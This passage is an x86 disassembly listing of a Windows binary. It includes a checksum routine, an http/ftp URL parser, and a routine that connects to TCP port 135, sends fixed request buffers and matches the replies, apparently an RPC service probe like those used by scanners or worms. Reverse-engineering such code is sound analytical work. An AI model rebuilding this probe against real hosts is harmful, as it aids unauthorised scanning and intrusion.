[ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420D39 loc_420D22: ; CODE XREF: sub_420D00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420D22 cmp ecx, 0 jz short loc_420D4A loc_420D39: ; CODE XREF: sub_420D00+20j ; sub_420D00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420D39 loc_420D4A: ; CODE XREF: sub_420D00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420D00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50BB64, eax mov eax, offset dword_50BB64 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DC0: ; CODE XREF: ___:00401771j push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_50FAA0 push esi call edi ; ftell mov ebp, dword_50FA98 push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E10 proc near ; CODE XREF: sub_401938j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420E10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420E3F xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420E10+26j lea ecx, [esp+90h+var_84] call sub_401424 push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015D7 push offset asc_443C94 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420ECF: ; CODE XREF: sub_420E10+92j ; sub_420E10+A2j push offset asc_444410 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016AE push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D20 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_444410 ; "/" push 1 jz loc_42120C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_420FC9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420FC9: ; CODE XREF: sub_420E10+19Cj push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421095 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42107E mov dword ptr [esi+54h], 50h loc_42107E: ; CODE XREF: sub_420E10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421095 mov dword ptr [esi+54h], 15h loc_421095: ; CODE XREF: sub_420E10+255j ; sub_420E10+27Cj push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016AE lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42114E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42114E: ; CODE XREF: sub_420E10+321j push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016AE lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421333 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42120C: ; CODE XREF: sub_420E10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421293 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_421293: ; CODE XREF: sub_420E10+466j push offset asc_444410 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421333 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42131C mov dword ptr [esi+54h], 50h loc_42131C: ; CODE XREF: sub_420E10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421333 mov dword ptr [esi+54h], 15h loc_421333: ; CODE XREF: sub_420E10+3DBj ; sub_420E10+4F3j ... push offset asc_444410 ; "/" lea ecx, [esp+94h+var_84] call sub_4013E3 lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E2E push offset asc_444410 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013E3 push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_444410 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013E3 lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_444410 ; "/" mov ecx, esi call sub_4015D7 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016BD lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421419: ; CODE XREF: sub_420E10+2Aj ; sub_420E10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420E10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4215D0 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4215FB loc_4215E4: ; CODE XREF: sub_4215D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421602 inc eax cmp eax, edx jl short loc_4215E4 loc_4215FB: ; CODE XREF: sub_4215D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421602: ; CODE XREF: sub_4215D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4215D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421620: ; CODE XREF: ___:0040209Aj mov eax, 2010h call sub_436840 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42166D dec eax jz short loc_421647 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421647: ; CODE XREF: ___:00421638j mov eax, [esp+2020h] push 1388h push eax call sub_402004 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: ___:00421635j push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4217C9 cmp esi, 0FFFFFFFFh jz loc_4217C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2B66h mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40187F add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jz loc_4217C2 mov ebp, dword_50FC8C push 0 push 48h push offset dword_443DD8 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 mov edi, dword_50FC90 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_4217C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4217C2 push 0 push 18h push offset dword_443E4C push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4217C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4217C2 push 10h push offset loc_443E24 lea eax, [esp+24h] push edi push eax call sub_401AEB add esp, 10h test al, al jz short loc_421791 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: ___:0042176Ej push 10h push offset dword_443E38 lea edx, [esp+24h] push edi push edx call sub_401AEB add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4217C2: ; CODE XREF: ___:004216DBj ; ___:004216F6j ... push esi call near ptr 71AB9639h nop loc_4217C9: ; CODE XREF: ___:0042167Ej ; ___:00421687j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421850: ; CODE XREF: ___:00401A00j xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421870 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421870 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218B0 proc near ; CODE XREF: sub_4018D9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401901 sub_4218B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218F0 proc near ; CODE XREF: sub_401816j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40196F mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014D8 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401997 mov edx, [esi+4] mov ecx, esi push edx call sub_401947 sub_4218F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421960 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40204F mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_421960 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4219A0 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_4219A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219D0 proc near ; CODE XREF: sub_402167j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40196F mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4018FC sub_4219D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A10 proc near ; CODE XREF: sub_401703j push esi mov esi, ecx call sub_4019EC mov eax, esi pop esi retn sub_421A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421A30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40204F mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421A50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A80 proc near ; CODE XREF: sub_401802j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FFF neg al sbb eax, eax inc eax retn 4 sub_421A80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AB0 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421AB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013ED mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021B7 sub_421AF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B60 proc near ; CODE XREF: sub_40145Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40110E mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421B60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421BA0 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421BA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013ED mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BAE sub_421BD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C10 proc near ; CODE XREF: sub_401B40j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421C10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421C30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C50 proc near ; CODE XREF: sub_40182Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421C50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D48 neg al sbb eax, eax inc eax retn 4 sub_421C80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401ECE mov edi, eax push edi call sub_401B1D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421CB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B1D push edi mov [eax], ebx call sub_401B1D mov edi, [eax] push edi call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E3D mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D84 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421D50 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401CF3 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401901 sub_421D50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401CF3 push edi mov [eax], ebx call sub_401CF3 mov edi, [eax] push edi call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017E9 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401EBF mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421DF0 proc near ; CODE XREF: sub_401997j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jz short loc_421E4A loc_421E08: ; CODE XREF: sub_421DF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020B8 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A1E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jnz short loc_421E08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421E4A: ; CODE XREF: sub_421DF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421DF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E80 proc near ; CODE XREF: sub_401901j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401DF2 sub_421E80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421E95 mov edi, esi loc_421E95: ; CODE XREF: ___:00421E91j push esi call sub_40204F mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421EAA mov edi, esi loc_421EAA: ; CODE XREF: ___:00421EA6j push esi call sub_401CF3 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421ED0 proc near ; CODE XREF: sub_401947j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401546 sub_421ED0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_40204Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421EF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F10 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_421F10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F30 proc near ; CODE XREF: sub_4019ECj mov eax, ecx retn sub_421F30 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F50 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401519 mov eax, esi pop esi retn 4 sub_421F50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F80 proc near ; CODE XREF: sub_401FFFj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_421F80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FB0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018E8 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_421FB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013DE mov ecx, 